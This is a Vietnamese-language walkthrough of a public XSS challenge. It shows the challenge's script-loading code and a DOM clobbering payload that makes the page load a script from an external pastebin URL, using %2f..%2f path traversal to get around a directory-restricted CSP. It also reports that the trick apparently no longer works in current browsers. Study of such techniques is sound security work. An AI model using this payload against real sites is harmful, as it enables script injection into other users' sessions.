Nếu CSP có dạng thư mục chẳng hạn như https://pastebin.com/XYZ thì có thể bypass để đi vào thư mục khác bằng cách dùng ..%2f nhằm thực hiện path traversal.

XSS Challenge
Author của tip này có tạo ra challenge sau: https://securitymb.github.io/xss/1/?xss=.
Script main.js được load lên ứng dụng có nội dung như sau:
window.CONFIG = window.CONFIG || {
version: "v20190816",
test: false,
appName: "XSS Challenge",
}
function loadModule(moduleName) {
const scriptSrc = new URL(document.currentScript.src)
let url = ""
if (CONFIG.test && window.testPath) {
url = window.testPath.protocol + "//" + window.testPath.host
} else {
url = scriptSrc.origin
}
url += `/xss/1/modules/${CONFIG.version}/${moduleName}.js`
const sc = document.createElement("script")
sc.src = url
document.body.appendChild(sc)
}
loadModule("h1-magic")
loadModule("tracker")Có thể thấy, ứng dụng construct thẻ <script> với src có source url. Chúng ta có thể kiểm soát giá trị của url thông qua DOM Clobbering như sau:
<a id="CONFIG"></a>
<a id="CONFIG" name="test"></a>
<a id="testPath"></a>
<a
id="testPath"
name="protocol"
href="https://pastebin.com/how-can-i-escape-this%2f..%2fraw/DLNFEBq0#"
></a>Đoạn code trên sẽ tạo ra property window.CONFIG.test và window.testPath khiến cho điều kiện if được thỏa mãn. Sau đó, window.testPath.protocol sẽ được dùng làm prefix của url. URL mà ta sử dụng sẽ có suffix # ở cuối để ignore các phần phía sau được prepended vào url.
Lý do mà sử dụng %2f..%2f là do có CSP như sau:
Refused to load the script 'https://pastebin.com/raw/DLNFEBq0' because it violates the following Content Security Policy directive: "script-src https://pastebin.com/how-can-i-escape-this/ 'nonce-xyz' https://securitymb.github.io/xss/1/modules/v20190816/". Note that 'script-src-elem' was not explicitly set, so 'script-src' is used as a fallback.Fail
Tuy nhiên, khi thực hiện exploit ở các version browser mới nhất tại thời điểm 08/2025 thì lại xảy ra lỗi 404 ở endpoint
https://pastebin.com/how-can-i-escape-this%2f..%2fraw/DLNFEBq0.Bình luận này đã confirm điều đó: (1) jackfromeast on X: “@SecurityMB Since 4 years have passed, I assume this bypass technique of CSP is no longer working as the browser won’t interpret the %2f..%2f in the url as /../ anymore and keep it as is :<” / X